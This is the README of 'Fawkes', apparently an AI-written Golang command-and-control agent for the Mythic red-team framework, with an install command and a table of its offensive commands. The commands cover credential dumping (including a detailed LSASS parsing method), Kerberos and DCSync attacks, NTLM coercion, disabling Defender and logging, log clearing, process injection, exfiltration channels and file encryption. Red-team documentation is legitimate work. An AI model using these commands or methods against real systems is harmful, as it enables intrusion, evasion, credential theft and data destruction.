Fawkes는 AI에 의해 독점적으로 작성된 golang Mythic C2 에이전트입니다.
# Fawkes Mythic C2 에이전트
<img src="https://raw.githubusercontent.com/galoryber/fawkes/HEAD/agent_icons/fawkes.svg" width="100" />
Fawkes는 완전히 바이브 코딩된 Mythic C2 에이전트입니다. '궁금하네'에서 시작해 목표로 발전했습니다. 제 목표는 이 에이전트를 위해 단 한 줄의 코드도 작성하지 않고, 오직 프롬프트로만 생성하는 것입니다.
원래 직접 에이전트를 작성해보려 했지만, 예제 컨테이너를 클론하고, mythic 문서를 읽고, 개발 시리즈 유튜브 동영상을 보고, Merlin이나 Freyja 같은 다른 에이전트의 코드를 복사한 후, 제 에이전트를 개발할 시간이 없다고 결심했습니다. 하지만 프롬프트라면 시간을 낼 수 있습니다.
Fawkes는 크로스 플랫폼 기능을 갖춘 golang 기반 에이전트입니다. **Windows**(EXE, DLL 및 셸코드 페이로드), **Linux**(ELF 바이너리 및 공유 라이브러리), **macOS** (Intel 및 Apple Silicon용 Mach-O 바이너리)를 지원합니다. 총 **213개 명령어**: 113개 크로스 플랫폼, 82개 Windows 전용, 21개 Unix 전용, 11개 Linux 전용, 6개 macOS 전용(일부 명령어는 스크린샷과 같이 하나의 사용자용 이름으로 플랫폼별 구현을 공유합니다). 내부 피벗을 위한 HTTP 이그레스 및 TCP 피어-투-피어(P2P) 연결을 지원합니다.
## Installation
To install Fawkes, you'll need Mythic installed on a remote computer. You can find installation instructions for Mythic at the [Mythic project page](https://github.com/its-a-feature/Mythic/).
From the Mythic install directory:```
./mythic-cli install github https://github.com/galoryber/fawkes
```
## 명령어 빠른 참조Command | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Active Directory 개체 DACL 읽기/수정 (ACE 추가/제거, DCSync 권한 부여, GenericAll, 백업/복원). 크로스 플랫폼 (T1222.001, T1098, T1003.006).
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | AD 인증서 서비스 열거, 취약한 템플릿 찾기 (ESC1-ESC4, DCOM을 통한 ESC6), DCOM을 통해 인증서 요청하여 ESC1/ESC6 익스플로잇, 또는 자동 익스플로잇 (찾기 → 분석 → 요청 체인). 크로스 플랫폼 (T1649).
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Windows 전용)** NTFS 대체 데이터 스트림 관리 — 숨겨진 데이터 스트림 쓰기, 읽기, 나열 또는 삭제. 텍스트 및 16진수 인코딩된 바이너리 지원. MITRE T1564.004.
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | 포렌식 실행 아티팩트 조회 및 정리. Windows: Shimcache. Linux: recently-used.xbel, 썸네일, Tracker. macOS: 최근 항목, KnowledgeC, 격리 (T1070.004).
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Windows 전용)** 원격 프로세스 주입. `-method apc` (기본값)는 NtQueueApcThread를 통해 경고 가능한 스레드에 셸코드를 큐에 넣습니다 (`ts`를 사용하여 찾기). `-method hwbp`는 DebugActiveProcess를 통해 연결하고 대상 API(기본값 `ntdll!NtDelayExecution`)에 DR0 하드웨어 중단점을 설정하며, 중단점이 발생하면 Rip을 셸코드로 리디렉션합니다 — TID 불필요, APC 큐 없음, CreateRemoteThread 없음 (T1055.004, T1055).
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | 마이크에서 오디오를 녹음하고 WAV 파일 업로드. Windows (waveIn), Linux (arecord/parecord), macOS (rec/ffmpeg). 크로스 플랫폼 (T1123).
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Windows 전용)** Windows 감사 정책 조회 및 수정. 민감한 작업 전에 보안 이벤트 로깅 비활성화. Stealth 모드는 탐지에 중요한 하위 범주를 비활성화합니다. AuditQuerySystemPolicy API 사용 (T1562.002).
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Windows 전용)** 스푸핑된 프로세스 인수로 명령 실행. Sysmon 이벤트 ID 1 및 EDR 명령줄 원격 측정 우회 (T1564.010).
arp | `arp [-ip <subnet>]` 또는 `arp -action spoof -target <IP> -gateway <IP>` | ARP 테이블 표시 (필터링 가능) 또는 MITM 위치 선정을 위한 ARP 캐시 중독 (T1557.002). Spoof: Linux 전용, 정리 시 복원.
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | 사전 인증이 필요 없는 계정에 대해 AS-REP 티켓을 요청하고 오프라인 크래킹을 위해 hashcat 형식으로 해시 추출. LDAP을 통해 자동 열거. 크로스 플랫폼 (T1558.004).
av-detect | `av-detect [-deep true]` | 실행 중인 프로세스를 130개 이상의 시그니처 데이터베이스와 비교하여 설치된 AV/EDR/보안 제품 탐지. `--deep` 사용 시 커널 모듈, systemd 유닛 및 구성 디렉토리도 검사하여 설치되었지만 실행 중이 아닌 제품 확인 (Linux). 제품, 공급업체, 유형 및 PID 보고. 크로스 플랫폼.
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Windows 전용)** 가장 가까운 반환(C3) 명령어로 점프하여 함수를 자동으로 패치. AMSI/ETW 우회에 유용.
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | 데이터 인코딩 도구 키트: base64, XOR (문자열/16진수 키 사용), 16진수, ROT13, URL 퍼센트 인코딩, Caesar 암호. 모두 파일 I/O 지원. 크로스 플랫폼 (T1132.001, T1140, T1027).
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Windows 전용)** BITS 전송 작업을 관리하여 지속성 및 은밀한 파일 다운로드. 작업 생성, 일시 중단, 재개, 완료 및 알림 명령 설정하여 지속성 유지. 작업은 재부팅 후에도 유지됨 (T1197).
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Chromium, Firefox 및 Safari에서 브라우저 데이터 수집. 기록, 자동 채우기, 북마크, 다운로드는 크로스 플랫폼. 비밀번호: Chromium (DPAPI/Keychain/GNOME Keyring), Firefox (key4.db NSS 복호화), Safari (macOS 키체인). Firefox 쿠키는 모든 플랫폼. MITRE T1555.003, T1217.
cat | `cat <file>` 또는 `cat -path <file> -start N -end N -number true` | 선택적 줄 범위, 번호 매기기 및 5MB 크기 보호와 함께 파일 내용 표시.
cd | `cd <directory>` | 현재 작업 디렉토리 변경.
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | 파일/디렉토리 권한을 8진수(755, 644) 또는 기호(+x, u+rw, go-w) 표기법으로 수정. 재귀 지원. 크로스 플랫폼 (T1222).
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Linux/macOS 전용)** 사용자 이름/UID 및 그룹 이름/GID로 파일/디렉토리 소유권 변경. 재귀 지원 (T1222).
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | 원격 호스트의 TLS 인증서 검사 — CA, 자체 서명 인증서, 만료, SAN, TLS 버전, 암호 제품군 및 SHA256 지문 식별. 크로스 플랫폼 (T1590.001).
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Windows 전용)** Windows 인증서 저장소를 열거하여 코드 서명 인증서, 클라이언트 인증 인증서 및 개인 키 찾기. CurrentUser 및 LocalMachine 검색. MITRE T1552.004, T1649.
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | 클립보드 읽기/쓰기 또는 자격 증명 패턴 탐지로 변경 사항을 지속적으로 모니터링. 크로스 플랫폼 (T1115).
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | 클라우드 메타데이터, 자격 증명 추출, IAM 열거, 스토리지 열거, 지속성 및 비밀 저장소 액세스. storage/aws-s3/azure-blob/gcp-gcs: 버킷/컨테이너 열거 (샘플 개체 포함). aws-ssm: 복호화와 함께 SSM 파라미터 저장소. azure-keyvault: 관리 ID를 통한 Key Vault 비밀. gcp-secrets: 서비스 계정을 통한 Secret Manager. aws-persist/azure-persist: 수명이 긴 액세스 키/앱 등록 생성. 자동 탐지. IMDSv2. 크로스 플랫폼 (T1552.005, T1580, T1530, T1098.001).
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | 아카이브 생성, 나열, 추출, 스테이징 또는 유출. stage: AES-256-GCM으로 암호화. exfil: Mythic으로 전송. exfil-https: 사전 서명된 URL로 S3/Azure/GCS에 청크 업로드, 사용자 정의 헤더, 지터 포함. exfil-github: GitHub Contents API를 통해 유출. 크로스 플랫폼 (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001).
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-FSRVP (ShadowCoerce)를 통한 NTLM 인증 강제. 대상이 공격자 수신기에 인증하도록 강제. 패스더해시 지원. 크로스 플랫폼 (T1187).
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | 런타임 에이전트 구성 보기/수정 또는 에이전트 바이너리 자체 업데이트. `show`/`set`: sleep, jitter, 종료 날짜, 근무 시간. `update`: Mythic에서 새 페이로드 다운로드, 확인, 실행 및 현재 에이전트 종료. 크로스 플랫폼 (T1105).
container-detect | `container-detect` | 컨테이너 런타임 및 환경 탐지 (Docker, K8s, LXC, Podman, WSL). Docker 소켓 및 K8s 서비스 계정과 같은 탈출 벡터 확인. 크로스 플랫폼 (T1082, T1497.001).
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(Linux 전용)** 컨테이너 탈출 + K8s 작업 — Docker 소켓, cgroup, nsenter, 호스트 장치 마운트. K8s: 파드/서비스 열거, 시크릿 읽기, **k8s-rbac**: ClusterRole/RoleBinding 스윕 + 권한 상승 경로 점수 매기기 (crit/warn/info), **k8s-nodes**: 클러스터 노드 공격 표면(kubelet/OS/커널/CIDR/taints/roles), **k8s-etcd**: 컨트롤 플레인 파드 인수에서 etcd 클라이언트 엔드포인트 검색 + 엔드포인트당 인증되지 않은 `/version` 프로브 (인증되지 않은 읽기 = 전체 클러스터 손상), API를 통해 파드 배포/실행. **클러스터 외부**: `-kubeconfig`는 도난당한 kubeconfig 파일을 허용하여 비컨테이너 호스트에서 K8s 액세스 (토큰 + 클라이언트 인증서 인증) (T1611, T1610, T1613, T1552.007, T1069.003, T1087.004).
cp | `cp <source> <destination>` | 파일을 소스에서 대상으로 복사.
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | 대상 호스트에서 SMB, WinRM 및 LDAP에 대한 자격 증명 테스트. `verify-all`은 모든 저장된 자격 증명을 발견된 호스트에 대해 병렬로 테스트. 크로스 플랫폼 (T1110.001, T1078).
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | 자격 증명 수집: 섀도 해시(Unix), 클라우드 구성(AWS/GCP/Azure/K8s), 애플리케이션 시크릿, 유출된 비밀번호/토큰/API 키에 대한 셸 기록 스캔, PowerShell 기록 + 환경 변수 + RDP(Windows), M365 OAuth/JWT 토큰(TokenBroker/Teams/Outlook에서, Windows), **browser-live**: 실행 중인 Chrome/Edge에서 Chrome DevTools Protocol(CDP)을 통해 라이브 쿠키, localStorage, sessionStorage 도용. **dump-all**: 자동화된 하위 작업 체인 — hashdump + lsa-secrets + cred-harvest를 모두 병렬로 실행(Windows). 크로스 플랫폼 (T1552, T1003.008, T1528, T1539).
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | 기본 자격 증명 대화 상자 표시, OAuth 장치 코드 흐름 남용 또는 MFA 코드 피싱. dialog: macOS AppleScript, Windows CredUI, Linux zenity/kdialog. device-code: Azure AD OAuth 장치 코드 흐름을 통한 토큰 캡처. mfa-phish: TOTP 코드를 캡처하기 위한 가짜 MFA 확인 대화 상자. 크로스 플랫폼 (T1056.002, T1621, T1111).
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | HTTP 요청 + 파일 업로드 유출 (T1567). S3 사전 서명된 URL, Azure SAS, 일반 엔드포인트에 업로드. 크로스 플랫폼 (T1106, T1567.002).
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | 파일 줄에서 필드 또는 문자 범위 추출. 사용자 정의 구분 기호, 범위 사양. 크로스 플랫폼 (T1083).
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | 플랫폼 자격 증명 저장소 열거. Windows: 자격 증명 관리자 + 자격 증명 보관소 (CredEnumerateW, vaultcli.dll). Linux: GNOME Keyring (secret-tool), KDE KWallet, NetworkManager WiFi/VPN 비밀번호, GNOME Online Accounts. macOS: 키체인 항목(일반 + 인터넷 비밀번호), WiFi 비밀번호. `list`=메타데이터, `dump`=시크릿 포함, `vault`=Windows 전용. MITRE T1555.004, T1555.001.
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Windows 전용)** Defender 관리 — 상태, 제외, 위협, 실시간 보호 활성화/비활성화. MITRE T1562.001.
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Windows 전용)** DPAPI blob 복호화 (CryptUnprotectData), 마스터 키 열거, Chrome/Edge 암호화 키 추출. MITRE T1555.003/T1555.005.
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Windows 전용)** COM을 통해 Outlook 사서함 액세스. 메시지 수 계산, 키워드로 검색, 인덱스로 읽기, 폴더 나열. MITRE T1114.001.
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Windows 전용)** DCOM을 통해 원격 호스트에서 명령 실행, 파일 업로드 또는 스테이징 후 실행. `check`는 RPC/DCOM 사전 요구 사항을 확인. upload: certutil/PowerShell 스테이징을 통해 파일 전송. exec-staged: 업로드 후 실행 및 자동 정리. 여섯 가지 COM 개체. MITRE T1021.003, T1570.
debug-detect | `debug-detect` | 연결된 디버거, 분석 도구 및 계측 탐지. Windows: IsDebuggerPresent, NtQueryInformationProcess, PEB, DR 레지스터. Linux: TracerPid, LD_PRELOAD, 메모리 맵(Frida/Valgrind/sanitizers), VM/샌드박스, eBPF 모니터링(Falco/Tetragon/Tracee), auditd 프레임워크, ptrace 범위. macOS: sysctl P_TRACED, DYLD_INSERT_LIBRARIES, VM 탐지(sysctl), 보안 제품(EDR/AV), 샌드박스/분석 환경. 모두: 디버거 프로세스 스캔 (T1497.001).
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync — LSASS를 건드리지 않고 DRS를 통해 AD 자격 증명 복제. `domain-takeover`는 kerberoast + asrep-roast + dcsync krbtgt/Administrator를 병렬로 실행. 크로스 플랫폼 (T1003.006).
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | 선택적 장치, 마운트 지점 또는 파일 시스템 유형 필터링으로 파일 시스템 디스크 공간 사용량 보고. 크로스 플랫폼 (T1082).
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | 두 파일을 비교하고 통합 diff 형식으로 차이점 표시. LCS 기반 알고리즘, 구성 가능한 컨텍스트 줄. 크로스 플랫폼 (T1083).
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | DNS 열거 — 호스트 확인, 레코드 쿼리, DC 검색, 영역 전송, 와일드카드 탐지, DNS-over-HTTPS 은밀한 확인, DNS 유출. 크로스 플랫폼 (T1018, T1071.004, T1048.001).
du | `du -path <file_or_dir> [-max_depth <n>]` | 파일 및 디렉토리의 디스크 사용량 보고. 하위 디렉토리별 크기 분석, 가장 큰 순서로 정렬. 크로스 플랫폼 (T1083).
drivers | `drivers [-filter <name>]` | 로드된 커널 드라이버/모듈 열거. Windows: EnumDeviceDrivers, Linux: /proc/modules, macOS: kext 열거. 크로스 플랫폼 (T1082).
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | LDAP을 통한 AD 비밀번호/잠금 정책 및 FGPP 열거. 스프레이 안전 권장 사항. 크로스 플랫폼 (T1201).
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(Linux/macOS 전용)** 지속성을 위한 cron 작업 나열, 추가 또는 제거. 원시 cron 항목 또는 프로그램+일정 구문 지원.
download | `download <path>` 또는 `download {"path": "/file", "compress": true}` | 대상에서 파일 또는 디렉토리를 다운로드. 1MB 이상의 파일은 자동으로 gzip 압축 (구성 가능). 디렉토리는 자동으로 zip 압축. SHA256 해시 확인. 청크 전송, 파일 브라우저 통합.
drives | `drives` | 사용 가능한 드라이브/볼륨 및 마운트된 파일 시스템을 유형, 레이블/장치, 여유/전체 공간과 함께 나열.
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Windows 전용)** 모든 프로세스에서 액세스 토큰 열거. `list`는 각 프로세스에 대해 PID/사용자/무결성/세션을 표시. `unique`는 사용자별로 그룹화하고 프로세스 수를 표시. SeDebugPrivilege 자동 활성화 (T1134, T1057).
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | AES-256-GCM 암호화/복호화 (T1486) + 대상 파일 손상 (T1565). corrupt: 파일 헤더를 임의 데이터로 덮어씁니다. 파괴적 작업에는 안전 게이트 필요.
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | 에이전트 프로세스의 환경 변수 나열, 가져오기, 설정 또는 해제. 변경 사항은 하위 프로세스에 상속됨. 크로스 플랫폼.
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | 프로세스 환경 변수를 스캔하여 유출된 자격 증명, API 키 및 시크릿 탐지. 클라우드, 데이터베이스, CI/CD 및 암호화폐 범주에 걸친 35개 이상의 탐지 패턴. Linux + macOS (T1057, T1552.001).
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows, Linux, macOS)** 감사/원격 측정 하위 시스템 조작. Windows: ETW 세션/공급자 중지/블라인드/블라인드-올/활성화/패치/복원. Linux: auditd 규칙, journald 지우기/회전, syslog 구성, SIEM 에이전트 탐지. macOS: 통합 로깅, 보안 에이전트 탐지. (T1562, T1070.002).
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | 시스템 이벤트 로그 관리. Windows: wevtapi.dll 채널. Linux: journald 유닛 및 syslog 파일. macOS: Unified Logging (os_log) 하위 시스템/프로세스. 소스 나열, 이벤트 쿼리, 지우기/진공 로그, 정보 가져오기. MITRE T1070.001, T1562.002.
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | 메모리에서 네이티브 바이너리 실행. Linux: memfd_create (디스크 쓰기 없음). macOS: 임시 파일에 ad-hoc 코드 서명. Windows: 임시 파일 후 즉시 정리. 모든 플랫폼이 실행 후 아티팩트 제거. MITRE T1620.
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | 현재 프로세스에서 셸코드 실행. 런타임 복호화와 함께 XOR/AES-256-CTR 인코딩된 셸코드 지원 (T1027). Windows: VirtualAlloc + CreateThread. Linux: mmap (기본값) 또는 memfd_create. macOS: MAP_JIT (ARM64) 또는 mmap. 크로스 플랫폼 (T1059.006, T1620).
exit | `exit` | 에이전트 종료 작업.
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | 파일 속성 가져오기 또는 설정 — hidden, readonly, system (Windows); immutable, append, nodump (Linux); hidden, immutable (macOS). -attrs를 생략하면 현재 플래그를 봅니다. 크로스 플랫폼 (T1564.001, T1222).
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | 매직 바이트로 파일 유형 식별 (35개 이상의 시그니처). 단일 파일 또는 디렉토리 스캔. 실행 파일, 아카이브, 문서, 이미지, 데이터베이스, 미디어 등을 탐지. 크로스 플랫폼 (T1083).
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | 이름, 크기, 날짜, 권한 또는 소유자별로 파일 검색. SUID 바이너리, 전 세계 쓰기 가능 파일, 특정 사용자가 소유한 파일 찾기. 크로스 플랫폼 (T1083).
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | SMB (C$ 공유) 및/또는 WinRM을 통해 자격 증명이 관리자 액세스 권한이 있는 호스트를 검색하여 찾기. **auto-move**: 자동화된 하위 작업 체인 — 관리자 호스트를 찾은 다음 psexec/wmi를 통해 각 호스트로 측면 이동. CIDR, IP 범위, PTH, 병렬 스캔 지원 (T1021.002, T1021.006).
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows, macOS, Linux)** 방화벽 규칙 관리. Windows: COM API. macOS: ALF + pf 앵커 규칙. Linux: iptables/nftables (자동 탐지). macOS 패킷 필터링을 위한 PF 앵커 지원. MITRE T1562.004.
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows, macOS, Linux)** 권한/역량 나열. Windows: 토큰 권한 (활성화/비활성화/제거 가능). Linux: 프로세스 역량 (CapEff/CapPrm) + SELinux/AppArmor 컨텍스트. macOS: entitlements, 샌드박스, 그룹 (T1134.002).
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows, Linux, macOS)** 권한 상승. Windows: 토큰 도용 또는 DCOM potato를 통한 SYSTEM. Linux: 상승 벡터 확인 (SUID, sudo, 역량, docker) 또는 sudo 상승 시도. macOS: 벡터 확인, sudo 또는 osascript 관리자 프롬프트 (T1134, T1548).
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | SYSVOL에서 암호화된 cpassword 속성이 있는 GPP XML 파일을 검색하고 게시된 AES 키를 사용하여 복호화 (MS14-025). SMB를 통한 크로스 플랫폼 (T1552.006).
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | LDAP을 통해 그룹 정책 개체 열거 — GPO 나열, 강제 적용과 함께 링크 매핑, 흥미로운 CSE 설정 찾기. 크로스 플랫폼 (T1615).
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | 정규식 패턴으로 파일 내용 검색. 확장자 필터링, 컨텍스트 줄 및 바이너리 파일 건너뛰기와 함께 재귀 디렉토리 검색. 크로스 플랫폼 (T1083, T1552.001).
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | 파일 해시 계산 (MD5, SHA-1, SHA-256, SHA-512). 단일 파일 또는 글로브 패턴 필터링 및 깊이 제어가 있는 디렉토리. 크로스 플랫폼 (T1083).
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | xxd 스타일의 16진수+ASCII 형식으로 파일 내용 표시. 특정 영역 검사를 위한 오프셋/길이 제어, 최대 4096바이트. 크로스 플랫폼 (T1005).
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows, Linux, macOS)** 프로세스에서 열린 핸들/파일 설명자 열거. Windows: NtQuerySystemInformation. Linux: /proc/pid/fd. macOS: lsof (T1057, T1082).
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows, Linux, macOS)** 로컬 계정 암호 해시 추출. Windows: SAM 레지스트리에서 NTLM 해시 (SYSTEM 필요); **insitu**: 인-프로세스 LSA API를 통해 활성 로그온 세션 열거 (관리자 필요); **insitu-full**: PROCESS_VM_READ로 lsass.exe 열기, lsasrv.dll에서 LogonSessionList 시그스캔, 연결 리스트 탐색, 각 노드에 KIWI_MSV1_0_LIST_63 레이아웃 오버레이하여 LUID/UserName/Domain/AuthPackage/LogonType/Credentials-포인터 추출, credentials_ptr에서 AuthPackage별 자격 증명 체인을 탐색하여 각 KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC 봉투 캡처, LsaInitializeProtectedMemory_Internal 시그스캔하여 IV / h3DesKey / hAesKey BCrypt 키 전역 변수 및 원시 16바이트 IV / 24바이트 3DES / 32바이트 AES 키 바이트 복구, AES-256-CFB / 3DES-CBC로 캡처된 모든 암호문 blob 복호화 (blob당 `len % 8`로 선택), KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEW 레이아웃을 오버레이하여 NT/LM/SHA 해시 추출 — `username:rid:lm:nt:::` 형식으로 출력되어 dump-action ProcessResponse 자격 증명 보관소 후크와 호환 (Phase 2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c, Win10 21H2 — Win11 23H2, 관리자 필요). Linux: /etc/shadow 해시 (해시 유형 식별 포함, root 필요). macOS: 사용자 plist에서 Directory Services PBKDF2 해시 (root 필요). **auto-spray**: 해시를 덤프한 다음 cred-check를 통해 대상 호스트에 자동으로 스프레이. MITRE T1003.002, T1003.008.
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | 셸/애플리케이션 명령 기록 파일 나열 또는 지우기. bash, zsh, fish, PowerShell, python, mysql 등 포함. 크로스 플랫폼 (T1070.003).
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | 프로세스 할로잉 — 일시 중단된 프로세스 생성, 셸코드 쓰기, 실행 리디렉션. **Windows:** CREATE_SUSPENDED + SetThreadContext, PPID 스푸핑, DLL 차단, PEB 장식 (ImagePath/CommandLine/WindowTitle 마스킹). **Linux (amd64/arm64):** PTRACE_TRACEME + /proc/mem 쓰기. **macOS:** ptrace + Mach VM API (task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect) — root 필요. MITRE T1055.012, T1036.
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | IDE 구성 열거 — VS Code 확장, 원격 SSH 호스트, 최근 프로젝트, 시크릿이 포함된 설정. JetBrains 데이터 소스, 배포 서버, 최근 프로젝트. 크로스 플랫폼 (T1005, T1083).
ifconfig | `ifconfig` | 주소, MAC, MTU 및 플래그와 함께 네트워크 인터페이스 나열. 크로스 플랫폼 (Windows/Linux/macOS).
inline-assembly | `inline-assembly` | **(Windows 전용)** CLR을 사용하여 메모리에서 .NET 어셈블리 실행. 명령줄 인수 지원. AMSI 패치 워크플로우를 위해 `start-clr`를 먼저 사용하세요.
inline-execute | `inline-execute` | **(Windows 전용)** 메모리에서 Beacon Object File (BOF/COFF) 실행. 모든 인수 유형 지원: 문자열 (z), 와이드 문자열 (Z), 정수 (i), 짧은 정수 (s), 바이너리 (b).
reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **(Windows 전용)** 메모리에서 네이티브 PE (DLL)를 현재 프로세스로 로드. 섹션 복사, 재배치 수정, 가져오기 해결 및 DllMain 호출을 포함한 수동 PE 매핑. 선택적으로 내보낸 함수 호출 (T1620).
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **(Linux 전용)** Linux 방화벽 열거 및 iptables/nftables/ufw를 통한 관리. IP 포워딩, 연결 추적, 규칙 나열 및 수정. MITRE T1562.004.
jobkill | `jobkill -id <task-uuid>` | 작업 ID로 실행 중인 작업 중지. `jobs`를 사용하여 실행 중인 작업 나열. 크로스 플랫폼.
jobs | `jobs` | 작업 ID, 명령 이름 및 지속 시간과 함께 현재 실행 중인 작업 나열. 크로스 플랫폼.
